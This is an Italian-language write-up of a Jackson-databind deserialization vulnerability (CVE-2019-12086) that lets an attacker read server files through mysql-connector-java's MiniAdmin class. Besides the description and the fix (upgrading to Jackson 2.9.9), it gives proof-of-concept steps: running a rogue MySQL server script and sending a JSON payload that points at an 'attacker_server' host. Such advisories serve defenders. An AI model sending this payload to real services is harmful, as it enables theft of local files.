
Con Default Typing abilitato e con mysql-connector-java 8.0.15 (rilasciato il 2019.2.1) o versioni precedenti nel classpath, un attaccante può leggere file arbitrari inviando dati JSON malevoli. La libreria mysql-connector-java è il JDBC di MySQL comunemente usato per connettersi al database.
La descrizione della CVE è la seguente:
È stato scoperto un problema di tipizzazione polimorfica in FasterXML jackson-databind 2.x prima della 2.9.9. Quando Default Typing è abilitato (globalmente o per una proprietà specifica) per un endpoint JSON esposto esternamente, il servizio ha il jar mysql-connector-java (8.0.14 o precedente) nel classpath, e un attaccante può ospitare un server MySQL malevolo raggiungibile dalla vittima, può inviare un messaggio JSON appositamente creato che gli consente di leggere file locali arbitrari sul server. Ciò si verifica a causa della mancanza di validazione di com.mysql.cj.jdbc.admin.MiniAdmin.
Dettagli della vulnerabilità:
com.mysql.cj.jdbc.admin.MiniAdmin accetta un valore stringa che rappresenta un JDBC URL; la classe com.mysql.cj.jdbc.admin.MiniAdmin, durante l'inizializzazione, si connette al database MySQL specificato da questo JDBC URL.python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
Aggiorna Jackson alla versione 2.9.9 o successiva.